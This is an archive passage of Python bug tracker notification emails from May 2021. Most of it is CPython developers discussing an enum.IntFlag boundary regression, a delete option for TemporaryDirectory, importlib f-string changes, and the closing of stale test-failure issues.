---------- nosy: +hroncok _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 15:36:09 2021 From: report at bugs.python.org (Brett Cannon) Date: Wed, 26 May 2021 19:36:09 +0000 Subject: [issue1717] Get rid of more references to __cmp__ In-Reply-To: <1199205565.64.0.0495465164968.issue1717@psf.upfronthosting.co.za> Message-ID: <1622057769.24.0.521272416437.issue1717@roundup.psfhosted.org> Brett Cannon added the comment: > Has there been any resolution regarding `sortTestMethodsUsing`? My suspicion is if the docs don't suggest there's something else then nothing has been changed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 15:42:01 2021 From: report at bugs.python.org (Ned Deily) Date: Wed, 26 May 2021 19:42:01 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError In-Reply-To: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> Message-ID: <1622058121.2.0.811180981173.issue44242@roundup.psfhosted.org> Change by Ned Deily : ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 15:48:38 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 26 May 2021 19:48:38 +0000 Subject: [issue33693] test test_webbrowser failed In-Reply-To: <1527677974.5.0.682650639539.issue33693@psf.upfronthosting.co.za> Message-ID: <1622058518.43.0.385786417334.issue33693@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- nosy: +jaraco nosy_count: 3.0 -> 4.0 pull_requests: +24979 pull_request: https://github.com/python/cpython/pull/26387 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 15:53:50 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 26 May 2021 19:53:50 +0000 Subject: [issue38693] Use f-strings instead of str.format within importlib In-Reply-To: <1572934817.34.0.695862725726.issue38693@roundup.psfhosted.org> Message-ID: <1622058830.8.0.850976594604.issue38693@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- pull_requests: +24980 pull_request: https://github.com/python/cpython/pull/26387 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 15:54:44 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 26 May 2021 19:54:44 +0000 Subject: [issue33693] test test_webbrowser failed In-Reply-To: <1527677974.5.0.682650639539.issue33693@psf.upfronthosting.co.za> Message-ID: <1622058884.99.0.83592429389.issue33693@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- pull_requests: -24979 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 16:08:10 2021 From: report at bugs.python.org (Eric Snow) Date: Wed, 26 May 2021 20:08:10 +0000 Subject: [issue43693] Logically merge cell and locals array. They are already contiguous in memory In-Reply-To: <1617276830.47.0.331349599371.issue43693@roundup.psfhosted.org> Message-ID: <1622059690.11.0.431805121559.issue43693@roundup.psfhosted.org> Change by Eric Snow : ---------- pull_requests: +24981 pull_request: https://github.com/python/cpython/pull/26388 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 16:16:21 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 26 May 2021 20:16:21 +0000 Subject: [issue38693] Use f-strings instead of str.format within importlib In-Reply-To: <1572934817.34.0.695862725726.issue38693@roundup.psfhosted.org> Message-ID: <1622060181.8.0.104682836362.issue38693@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24982 pull_request: https://github.com/python/cpython/pull/26389 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 16:16:22 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 26 May 2021 20:16:22 +0000 Subject: [issue38693] Use f-strings instead of str.format within importlib In-Reply-To: <1572934817.34.0.695862725726.issue38693@roundup.psfhosted.org> Message-ID: <1622060182.56.0.119711423523.issue38693@roundup.psfhosted.org> miss-islington added the comment: New changeset f6fbdb90ee450ad693f7a7809035d0dc968f98b7 by Jason R. Coombs in branch 'main': bpo-38693: Prefer f-strings in importlib.resources (importlib_resources 5.0.6). (GH-26387) https://github.com/python/cpython/commit/f6fbdb90ee450ad693f7a7809035d0dc968f98b7 ---------- message_count: 7.0 -> 8.0 pull_requests: +24982 pull_request: https://github.com/python/cpython/pull/26389 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 16:29:26 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 26 May 2021 20:29:26 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError In-Reply-To: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> Message-ID: <1622060966.23.0.383661838525.issue44242@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: We are already blocked in Python 3.10 beta 2, Ethan, could you give a look at this so we can introduce the fix when we release the next beta? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 16:46:23 2021 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 26 May 2021 20:46:23 +0000 Subject: [issue43693] Logically merge cell and locals array. They are already contiguous in memory In-Reply-To: <1617276830.47.0.331349599371.issue43693@roundup.psfhosted.org> Message-ID: <1622061983.78.0.628302678189.issue43693@roundup.psfhosted.org> Change by Guido van Rossum : ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 17:08:52 2021 From: report at bugs.python.org (Nils Kattenbeck) Date: Wed, 26 May 2021 21:08:52 +0000 Subject: [issue25024] Allow passing "delete=False" to TemporaryDirectory In-Reply-To: <1441690580.39.0.270846340544.issue25024@psf.upfronthosting.co.za> Message-ID: <1622063332.6.0.528635620878.issue25024@roundup.psfhosted.org> Nils Kattenbeck added the comment: While the proposal linked by C.A.M. solves one of the use cases but it does not address the others. One use cases which is rather common for me it is e.g. to have scripts/programs which allow configuring whether temporary directories should get deleted or stay persistent after program exit. Currently this always requires hand rolled wrappers like the following: def mkdtemp_persistent(*args, persistent=True, **kwargs): if persistent: @contextmanager def normal_mkdtemp(): yield tempfile.mkdtemp() return normal_mkdtemp(*args, **kwargs) else: return tempfile.TemporaryDirectory(*args, **kwargs) with mkdtemp_persistent(persistent=False) as dir: ... Which gets the job done but is not as user friendly as other parts of the stdlib. ---------- nosy: +Nils Kattenbeck _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 17:09:35 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 26 May 2021 21:09:35 +0000 Subject: [issue38693] Use f-strings instead of str.format within importlib In-Reply-To: <1572934817.34.0.695862725726.issue38693@roundup.psfhosted.org> Message-ID: <1622063375.36.0.512786059164.issue38693@roundup.psfhosted.org> Jason R. Coombs added the comment: New changeset 97b4576f655c09e32d2cbcdcdbda72b1bf9f438a by Miss Islington (bot) in branch '3.10': bpo-38693: Prefer f-strings in importlib.resources (importlib_resources 5.0.6). (GH-26387) (#26389) https://github.com/python/cpython/commit/97b4576f655c09e32d2cbcdcdbda72b1bf9f438a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 17:16:54 2021 From: report at bugs.python.org (Ethan Furman) Date: Wed, 26 May 2021 21:16:54 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError In-Reply-To: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> Message-ID: <1622063814.78.0.12509225854.issue44242@roundup.psfhosted.org> Ethan Furman added the comment: That is an intentional change. The cause is that the masks include bits that are not named in the Flag. The user-side fix is to add a `boundary=KEEP` option to the flag: class GeodIntermediateFlag(IntFlag, boundary=KEEP) The enum library fix could be one of two things: - automatically use the KEEP boundary when these conditions arise, and issue a DeprecationWarning; or - lose that particular check. I'm inclined to go with option 2, since `boundary` is designed to answer the question of what to do when Flag.A | Flag.B does not exist in Flag. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 17:19:33 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 21:19:33 +0000 Subject: [issue43001] python3.8.9, python3.9.2 test_embed test_tabnanny failed In-Reply-To: <1611315338.64.0.350030617212.issue43001@roundup.psfhosted.org> Message-ID: <1622063973.97.0.566471860176.issue43001@roundup.psfhosted.org> STINNER Victor added the comment: Duplicate of bpo-44031. ---------- resolution: out of date -> duplicate superseder: -> test_embed and test_tabnanny fails if the current directory is non-ASCII _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 17:26:24 2021 From: report at bugs.python.org (John Belmonte) Date: Wed, 26 May 2021 21:26:24 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError In-Reply-To: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> Message-ID: <1622064384.07.0.71575356482.issue44242@roundup.psfhosted.org> John Belmonte added the comment: To clarify, it's caused by these mask entries in the enum: NPTS_MASK = 0xF DEL_S_MASK = 0xF0 AZIS_MASK = 0xF00 Since the masks are not an aggregation of individual bits defined in the enum, it's an error. > I'm inclined to go with [removing the check], since `boundary` is designed to answer the question of what to do when Flag.A | Flag.B does not exist in Flag. I think that would cause various problems in the API and implementation. For example, without underlying individual bits, repr() may be nonsensical. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 17:33:50 2021 From: report at bugs.python.org (John Belmonte) Date: Wed, 26 May 2021 21:33:50 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError In-Reply-To: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> Message-ID: <1622064830.62.0.822065932328.issue44242@roundup.psfhosted.org> John Belmonte added the comment: I wonder if CONFORM could tolerate these, since it's ultimately going to discard invalid bits. And then perhaps CONFORM is the default. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 17:35:05 2021 From: report at bugs.python.org (Ethan Furman) Date: Wed, 26 May 2021 21:35:05 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError In-Reply-To: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> Message-ID: <1622064905.26.0.770002072957.issue44242@roundup.psfhosted.org> Ethan Furman added the comment: Actually, thinking about that a little bit more, KEEP was added for exactly this situation, as some stdlib flags exhibit the same behavior. So the real question is what should happen with, for example, GeodIntermediateFlag(0x80) ? The idea behind boundary is what should happen when values are created that don't have names in the Enum/Flag? The options for boundary are: STRICT -> an error is raised (default for Enum) EJECT -> the integer 0x80 is returned (not a flag) CONFORM -> unnamed bits are discarded (so the DEFAULT flag would be returned) KEEP -> an unnamed flag with value 0x80 is returned So KEEP is currently doing double-duty -- this reinforces my desire to go with option 2 and return KEEP to single-duty status. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 17:37:39 2021 From: report at bugs.python.org (Ethan Furman) Date: Wed, 26 May 2021 21:37:39 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError In-Reply-To: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> Message-ID: <1622065059.48.0.741915633323.issue44242@roundup.psfhosted.org> Ethan Furman added the comment: Those are good points -- the difficulty is knowing which behavior the user wants. And if the desired run-time behavior doesn't match the boundary flag the user is stuck. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 17:39:24 2021 From: report at bugs.python.org (Ethan Furman) Date: Wed, 26 May 2021 21:39:24 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError In-Reply-To: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> Message-ID: <1622065164.78.0.172898809436.issue44242@roundup.psfhosted.org> Ethan Furman added the comment: For example, if the default is CONFORM or KEEP, but the user wants an error if 0x80 comes up, they would have to explicitly check for that value since the Flag would happily return it instead of raising. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 17:41:45 2021 From: report at bugs.python.org (John Belmonte) Date: Wed, 26 May 2021 21:41:45 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError In-Reply-To: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> Message-ID: <1622065305.45.0.801769861173.issue44242@roundup.psfhosted.org> John Belmonte added the comment: Rather than make such masks containing unknown bits, this would be best practice if you want to use STRICT, correct? NPTS_ROUND = 0x0 NPTS_CEIL = 0x1 NPTS_TRUNC = 0x2 NPTS_MASK = NPTS_ROUND | NPTS_CEIL | NPTS_TRUNC Otherwise, if your input may have unknown bits, use CONFORM. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 17:56:03 2021 From: report at bugs.python.org (Ethan Furman) Date: Wed, 26 May 2021 21:56:03 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError In-Reply-To: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> Message-ID: <1622066163.89.0.827405433729.issue44242@roundup.psfhosted.org> Ethan Furman added the comment: Yes, that would be best practice. However, if the user is interfacing with other software/hardware, they may not have a choice on which bits make up the mask. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 17:59:26 2021 From: report at bugs.python.org (John Belmonte) Date: Wed, 26 May 2021 21:59:26 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError In-Reply-To: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> Message-ID: <1622066366.37.0.665130597956.issue44242@roundup.psfhosted.org> John Belmonte added the comment: > However, if the user is interfacing with other software/hardware, they may not have a choice on which bits make up the mask. I think it's the same as saying "unknown bits may come on the input". An important use case is for forward compatibility, where new bits may be added but you don't want to break existing code. That is what CONFORM is for. The cited code should either declare the masks as I've shown if STRICT is desired, or use CONFORM if forward compatibility is desired. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 17:59:57 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 26 May 2021 21:59:57 +0000 Subject: [issue42392] [document removal of] the deprecated 'loop' parameter asyncio API in 3.10 In-Reply-To: <1605639845.5.0.800535008799.issue42392@roundup.psfhosted.org> Message-ID: <1622066397.76.0.00590308635919.issue42392@roundup.psfhosted.org> Gregory P. Smith added the comment: New changeset d8fd8c8568cbc2f53c1abeda3596a89a46f0e3d7 by Ken Jin in branch 'main': bpo-42392: [docs] Add deprecated-removed loop labels for asyncio (GH-26357) https://github.com/python/cpython/commit/d8fd8c8568cbc2f53c1abeda3596a89a46f0e3d7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 17:59:53 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 26 May 2021 21:59:53 +0000 Subject: [issue42392] [document removal of] the deprecated 'loop' parameter asyncio API in 3.10 In-Reply-To: <1605639845.5.0.800535008799.issue42392@roundup.psfhosted.org> Message-ID: <1622066393.1.0.98501678194.issue42392@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24983 pull_request: https://github.com/python/cpython/pull/26390 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:14:43 2021 From: report at bugs.python.org (Ethan Furman) Date: Wed, 26 May 2021 22:14:43 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError In-Reply-To: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> Message-ID: <1622067283.14.0.340860674852.issue44242@roundup.psfhosted.org> Ethan Furman added the comment: That could be, and the user can set the boundary to whatever works best for their use-case, so long as the boundary they want to use does not conflict with the initial creation checks. Do you agree that simply removing the unnamed member check that takes place at Flag creation is a good way forward? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:17:30 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:17:30 +0000 Subject: [issue43843] libregrtest: mark a test as failed if a thread logs an unexpected exception In-Reply-To: <1618399223.2.0.989011891247.issue43843@roundup.psfhosted.org> Message-ID: <1622067450.36.0.0300662554178.issue43843@roundup.psfhosted.org> Change by STINNER Victor : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:18:39 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:18:39 +0000 Subject: [issue43774] [Doc] Document configure options in the Python documentation In-Reply-To: <1617898687.07.0.687741116683.issue43774@roundup.psfhosted.org> Message-ID: <1622067519.92.0.32664420604.issue43774@roundup.psfhosted.org> STINNER Victor added the comment: The documentation is now online: https://docs.python.org/dev/using/configure.html ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:19:50 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 26 May 2021 22:19:50 +0000 Subject: [issue42392] [document removal of] the deprecated 'loop' parameter asyncio API in 3.10 In-Reply-To: <1605639845.5.0.800535008799.issue42392@roundup.psfhosted.org> Message-ID: <1622067590.75.0.229021872494.issue42392@roundup.psfhosted.org> miss-islington added the comment: New changeset 150a8e8a3edbbed12b98c8f22e2972cd47fd3ba5 by Miss Islington (bot) in branch '3.10': [3.10] bpo-42392: [docs] Add deprecated-removed loop labels for asyncio (GH-26357) (GH-26390) https://github.com/python/cpython/commit/150a8e8a3edbbed12b98c8f22e2972cd47fd3ba5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:20:07 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:20:07 +0000 Subject: [issue43688] [C API] Support the limited C API in debug mode (Py_INCREF and Py_DECREF) In-Reply-To: <1617259651.04.0.276896882913.issue43688@roundup.psfhosted.org> Message-ID: <1622067607.06.0.452444372857.issue43688@roundup.psfhosted.org> STINNER Victor added the comment: Thanks for the help Petr. I close the issue, it's now fixed! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:21:12 2021 From: report at bugs.python.org (John Belmonte) Date: Wed, 26 May 2021 22:21:12 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError In-Reply-To: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> Message-ID: <1622067672.55.0.320636551202.issue44242@roundup.psfhosted.org> John Belmonte added the comment: > Do you agree that simply removing the unnamed member check that takes place at Flag creation is a good way forward? It's uncomfortable, because then STRICT is not actually strict, and it's going to be show raw values in str/repr. > CONFORM -> unnamed bits are discarded (so the DEFAULT flag would be returned) This behavior of CONFORM is a little dubious. I expect it to conform new values after the class is constructed. But the class members themselves should not have that transform applied, and raise an error on invalid bits. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:22:08 2021 From: report at bugs.python.org (Matej Cepl) Date: Wed, 26 May 2021 22:22:08 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1622067728.16.0.456873781707.issue40280@roundup.psfhosted.org> Change by Matej Cepl : ---------- nosy: +mcepl _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:29:40 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 26 May 2021 22:29:40 +0000 Subject: [issue42392] [document removal of] the deprecated 'loop' parameter asyncio API in 3.10 In-Reply-To: <1605639845.5.0.800535008799.issue42392@roundup.psfhosted.org> Message-ID: <1622068180.92.0.882102746555.issue42392@roundup.psfhosted.org> Gregory P. Smith added the comment: thanks! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:31:15 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:31:15 +0000 Subject: [issue42161] Remove private _PyLong_Zero and _PyLong_One variables In-Reply-To: <1603749577.35.0.864358738107.issue42161@roundup.psfhosted.org> Message-ID: <1622068275.17.0.000194460121596.issue42161@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +24984 stage: resolved -> patch review pull_request: https://github.com/python/cpython/pull/26391 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:36:55 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:36:55 +0000 Subject: [issue36950] test.support: add an helper to wait for an event with a timeout In-Reply-To: <1558117308.95.0.715352595892.issue36950@roundup.psfhosted.org> Message-ID: <1622068615.04.0.435526737075.issue36950@roundup.psfhosted.org> STINNER Victor added the comment: I close the issue because of the lack of activity. The need for this function is not very clear at this point. ---------- resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:38:11 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:38:11 +0000 Subject: [issue36940] Update Py_FrozenMain() for _PyCoreConfig (PEP 587) In-Reply-To: <1558020377.53.0.622883687871.issue36940@roundup.psfhosted.org> Message-ID: <1622068691.37.0.114294634524.issue36940@roundup.psfhosted.org> STINNER Victor added the comment: Fixed by bpo-44131. ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> [C API] Add tests on Py_FrozenMain() _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:38:25 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:38:25 +0000 Subject: [issue44131] [C API] Add tests on Py_FrozenMain() In-Reply-To: <1620994369.62.0.354601347783.issue44131@roundup.psfhosted.org> Message-ID: <1622068705.81.0.39942220441.issue44131@roundup.psfhosted.org> STINNER Victor added the comment: I marked bpo-36940 as a duplicate of this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:39:29 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:39:29 +0000 Subject: [issue36940] Update Py_FrozenMain() for _PyCoreConfig (PEP 587) In-Reply-To: <1558020377.53.0.622883687871.issue36940@roundup.psfhosted.org> Message-ID: <1622068769.05.0.451345671271.issue36940@roundup.psfhosted.org> STINNER Victor added the comment: > Another file which should maybe also be updated to PEP 587, PC/bdist_wininst/install.c PC/bdist_wininst/ has been removed in the meanwhile. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:40:21 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:40:21 +0000 Subject: [issue36560] test_functools leaks randomly 1 memory block In-Reply-To: <1554733336.52.0.331530875309.issue36560@roundup.psfhosted.org> Message-ID: <1622068821.68.0.821858979145.issue36560@roundup.psfhosted.org> STINNER Victor added the comment: I didn't see this failure recently. I close the issue. ---------- resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:41:12 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:41:12 +0000 Subject: [issue35333] [C API] Rename private structs to use names closer to types In-Reply-To: <1543363954.23.0.788709270274.issue35333@psf.upfronthosting.co.za> Message-ID: <1622068872.47.0.32801144404.issue35333@roundup.psfhosted.org> Change by STINNER Victor : ---------- components: +C API -Interpreter Core title: Rename private structs to use names closer to types -> [C API] Rename private structs to use names closer to types _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:42:18 2021 From: report at bugs.python.org (Ethan Furman) Date: Wed, 26 May 2021 22:42:18 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError In-Reply-To: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> Message-ID: <1622068938.29.0.796619573502.issue44242@roundup.psfhosted.org> Ethan Furman added the comment: I see your point about the str/repr. > But the class members themselves should not have that transform applied, and raise > an error on invalid bits. But I'm not sure I understand that. Either you are agreeing with me that we should lose the creation time check (not apply the transform), or we should still have the check (raise an error on invalid bits) which would still leave us in this situation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:42:26 2021 From: report at bugs.python.org (Ethan Furman) Date: Wed, 26 May 2021 22:42:26 +0000 Subject: [issue44242] enum.IntFlag regression: missing values cause TypeError In-Reply-To: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org> Message-ID: <1622068946.22.0.432292938736.issue44242@roundup.psfhosted.org> Ethan Furman added the comment: I'll be offline for a couple hours, but I'll check back. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:43:50 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:43:50 +0000 Subject: [issue35197] graminit.h defines very generic names like 'stmt' or 'test' In-Reply-To: <1541772404.82.0.788709270274.issue35197@psf.upfronthosting.co.za> Message-ID: <1622069030.49.0.669161486327.issue35197@roundup.psfhosted.org> STINNER Victor added the comment: Issue fixed in bpo-43244. I moved the evil public Python-ast.h header file into the internal C API as Include/internal/pycore_ast.h. It doesn't define "Yield" anymore: "_PyAST_Yield" must be used instead. ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Move PyArena C API to the internal C API _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:44:01 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:44:01 +0000 Subject: [issue43244] Move PyArena C API to the internal C API In-Reply-To: <1613586690.19.0.383646964758.issue43244@roundup.psfhosted.org> Message-ID: <1622069041.89.0.139234684964.issue43244@roundup.psfhosted.org> STINNER Victor added the comment: I marked bpo-35197 as a duplicate of this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:44:32 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:44:32 +0000 Subject: [issue35197] graminit.h defines very generic names like 'stmt' or 'test' In-Reply-To: <1541772404.82.0.788709270274.issue35197@psf.upfronthosting.co.za> Message-ID: <1622069072.37.0.576277298441.issue35197@roundup.psfhosted.org> STINNER Victor added the comment: Moreover, graminit.h was removed in Python 3.10. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:44:48 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 26 May 2021 22:44:48 +0000 Subject: [issue43988] Add test.support.assert_dissallow_instantiation In-Reply-To: <1619791950.5.0.60645292756.issue43988@roundup.psfhosted.org> Message-ID: <1622069088.0.0.617707957946.issue43988@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24985 pull_request: https://github.com/python/cpython/pull/26392 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:46:00 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:46:00 +0000 Subject: [issue35134] Add a new Include/cpython/ subdirectory for the "CPython API" with implementation details In-Reply-To: <1541076409.33.0.788709270274.issue35134@psf.upfronthosting.co.za> Message-ID: <1622069160.72.0.379117531132.issue35134@roundup.psfhosted.org> STINNER Victor added the comment: Include/README.rst and https://devguide.python.org/c-api/ now define guideliens for header files and the 3 APIs. I consider that this issue is now fixed. Even if there are still non-limited API declared in Include/*.h, changing that can be done in follow-up issues. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:47:39 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:47:39 +0000 Subject: [issue30849] test_stress_delivery_dependent() of test_signal randomly fails on AMD64 Debian root 3.6/3.x In-Reply-To: <1499181411.1.0.541300647507.issue30849@psf.upfronthosting.co.za> Message-ID: <1622069259.09.0.229440407933.issue30849@roundup.psfhosted.org> STINNER Victor added the comment: I didn't see this failure recently, I close the issue. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:48:23 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:48:23 +0000 Subject: [issue39996] test_multiprocessing_fork hangs on AMD64 FreeBSD Shared 3.x In-Reply-To: <1584467448.23.0.447277683737.issue39996@roundup.psfhosted.org> Message-ID: <1622069303.28.0.324367931697.issue39996@roundup.psfhosted.org> STINNER Victor added the comment: I didn't see this failure recently, I close the issue. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:49:56 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:49:56 +0000 Subject: [issue39995] test_concurrent_futures: ProcessPoolSpawnExecutorDeadlockTest.test_crash() fails with OSError: [Errno 9] Bad file descriptor In-Reply-To: <1584464514.72.0.0566985296328.issue39995@roundup.psfhosted.org> Message-ID: <1622069396.22.0.872288211487.issue39995@roundup.psfhosted.org> STINNER Victor added the comment: "test_concurrent_futures: ProcessPoolSpawnExecutorDeadlockTest.test_crash() fails with OSError: [Errno 9] Bad file descriptor" I didn't see this failure recently, I close the issue. Since changes were pushed, I mark the issue as fixed. If someone has ideas to enhance the code, I suggest to open a new more specific issue. I consider the initial issue (buildot failure) as fixed. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:50:54 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:50:54 +0000 Subject: [issue40237] Test code coverage (C) job of Travis CI fails on test_distutils which creates _configtest.gcno file In-Reply-To: <1586436730.26.0.786791148526.issue40237@roundup.psfhosted.org> Message-ID: <1622069454.68.0.47941522689.issue40237@roundup.psfhosted.org> STINNER Victor added the comment: > Test code coverage (C) job of Travis CI fails on test_distutils which creates _configtest.gcno file This Travis CI has been removed, I close the issue. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 26 18:51:14 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 May 2021 22:51:14 +0000 Subject: [issue42161] Remove private _PyLong_Zero and _PyLong_One variables In-Reply-To: <1603749577.35.0.864358738107.issue42161@roundup.psfhosted.org> 